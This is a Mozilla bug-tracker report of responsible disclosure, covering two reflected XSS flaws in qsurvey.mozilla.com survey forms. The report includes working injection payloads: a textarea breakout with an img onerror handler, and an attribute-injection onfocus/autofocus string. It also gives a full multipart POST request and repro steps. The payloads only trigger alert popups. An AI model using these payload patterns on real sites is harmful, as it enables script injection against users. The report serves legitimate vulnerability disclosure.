1381325 - Reflected XSS in qsurvey.mozilla.com

Status: VERIFIED FIXED

(Websites :: Other, defect)

Description

[bogdan.calin]

A Reflected XSS vulnerability exists in the website qsurvey.mozilla.com at the following URL https://qsurvey.mozilla.com/s3/Firefox-Downloader-Survey-2017-BATM/.

To reproduce, please visit the following URL using Firefox:
http://bugs.harisec.com/mozilla-8973243/3434.html

This repro URL will automatically submit a form via POST to trigger the XSS payload.
A popup should appear as proof that JavaScript execution is possible in the context of the domain  qsurvey.mozilla.com.

The value of the POST parameter "sgE-3641054-1-6-comments" (the name may vary) is reflected in the response without proper encoding or filtering. The reflection point is inside a <textarea> tag but it's possible to escape the HTML tag context and inject additional HTML tags.

The reproduction URL will generate the following HTML response:

...

<label for="sgE-3641054-1-6-comments">Comments								</label>
			</div>
			<div class="sg-comment-wrapper">
				<textarea id="sgE-3641054-1-6-comments" name="sgE-3641054-1-6-comments" class="sg-input sg-input-essay sg-input-comment" cols="40" rows="3">31337</textarea><img src=x onerror=alert(document.domain)></textarea>
			</div>

...

As you can see it was possible to inject an additional HTML tag <img src=x ...>

If you want to reproduce without my repro url, please follow the next steps:

1. Visit the following URL using Firefox:
https://qsurvey.mozilla.com/s3/Firefox-Downloader-Survey-2017-BATM/

2. In the comments section enter the following:
31337</textarea><img src=x onerror=alert(document.domain)>

3. Click the Next button.

4. A popup should appear displaying the document domain.

Comment 1

[bogdan.calin]

Attachment: screenshot

Comment 2

[Greg G]

Thanks for the report bogdan! I can confirm XSS from http://bugs.harisec.com/mozilla-8973243/3434.html

Comment 3

[Greg G]

Tyler: Similar to many of the other XSS issues in 1365389 the vendor should sanitize input from the POST parameter "sgE-3641054-1-6-comments" and similarly named parameters and escape it for safe output in HTML to avoid arbitrary HTML/Javascript injection.

Comment 4

[Tyler Downer [He/Him]]

Ally, here is another XSS issue in SG.

Comment 5

[Ally]

We are unable to reproduce this error...

Comment 6

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

Ally: I double-checked it and I too cannot reproduce it.

Bogdan: Can you still reproduce the issue?

Comment 7

[bogdan.calin]

No, I cannot reproduce this issue anymore. The value of the POST parameter "sgE-3641054-1-6-comments" is now HTML encoded.
This issue was fixed since was reported (2 months ago).

Comment 8

[Tyler Downer [He/Him]]

I'll go ahead and mark this as Fixed.

Comment 9

[Daniel Veditz [:dveditz]]

We don't know if this got fixed because of this report, or because the vendor we use learned about the problem through a different avenue.

Comment 10

[Daniel Veditz [:dveditz]]

For purposes of the bounty we'll assume it got fixed via this report since the vendor was CC'd on the bug while it was still reproducible.

Comment 11

[bogdan.calin]

Another XSS exists on the same website (qsurvey.mozilla.com) at the following URL 
https://qsurvey.mozilla.com/s3/Firefox-2017-dwnbase/ 

This time it affects the parameter "sgE-3756842-1-38" and the injection point is inside an INPUT of type CHECKBOX between double quotes. The double quote character is not properly encoded and it's possible to inject additional HTML attributes.

Setting the following value for this POSt parameter:


-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-38"

1"onfocus=alert(1) autofocus x="



will generate this HTML response:

	<input type="checkbox" class="sg-input sg-input-checkbox" name="sgE-3756842-16-74-10361"checked="checked" id="sgE-3756842-16-74-10361" value="10361" title="1"onfocus=alert(1) autofocus x=" is less trustworthy" aria-label="1"onfocus=alert(1) autofocus x=" is less trustworthy" />
<label for="sgE-3756842-16-74-10361" aria-hidden="true">1"onfocus=alert(1) autofocus x=" is less trustworthy</label>	</li>


As you can see above it was possible to inject two additional HTML tags onfocus and autofocus.


To reproduce, visit the following URL using Firefox:
http://bugs.harisec.com/mozilla-8973243/3535.html

A popup should appear as proof that JavaScript execution is possible.


The full HTTPS request follows:

POST /s3/Firefox-2017-dwnbase/ HTTP/1.1
Content-Length: 2876
Content-Type: multipart/form-data; boundary=-----Boundary_GMUDKIMLUM
Referer: http://qsurvey.mozilla.com
Cookie: detisivylsuoiverpgs=1
Host: qsurvey.mozilla.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*

-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sGizmoBackButton"

Back
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sg1ea413bc465598d64c7cc3a2c5ac9800"

1
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-38"

1"onfocus=alert(1) autofocus x="
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-38-meta"

hidden=true&required=false
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-38-time"

1
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-40"

1
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-40-meta"

hidden=true&required=false
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-40-time"

1
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-5"

10001
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-5-10007-other"

1
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-5-meta"

hidden=false&required=true
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-5-time"

1
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-58-10190"

10190
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-58-10191"

10191
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-58-10192"

10192
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-58-10193"

10193
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-58-10194"

10194
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-58-10195"

10195
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-58-10196"

10196
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-58-10197"

10197
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-58-10197-other"

1
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-58-meta"

hidden=false&required=true
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sgE-3756842-1-58-time"

1
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sg_currentpageid"

1
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sg_interactionlevel"

9
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sg_navchoice"

1
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sg_sessionid"

1508103087_59e3d3af875023.62279694
-------Boundary_GMUDKIMLUM
Content-Disposition: form-data; name="sg_surveyident"

3756842
-------Boundary_GMUDKIMLUM--

Comment 12

[bogdan.calin]

Attachment: rxss-qsurvey.mozilla.com-second-xss.PNG

Comment 13

[bogdan.calin]

For a reason that is unknown to me the HTTPS request above produces different responses from time to time so please try 2-3 times if it doesn't work in the first try. 

Same with the reproduction URL. Sometimes it works from the first try and other times a different page is returned in the response. 
However, if you try again two, three times it will work again. 

I don't understand exactly what is happening, maybe load balancing, the server is hitting different servers, some are vulnerable and others are fixed?

Comment 14

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

Bogdan: once an issue is resolved, please file new bugs for new issues you find.  I'm going to file a new bug with the information from comments 11-13 and we'll handle this as a separate case.

Comment 15

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

The conversation for the issues raised in comments 11-13 will continue on in bug 1409004

Comment 16

[bogdan.calin]

Sorry for the trouble Jonathan, thank you for opening a new bug.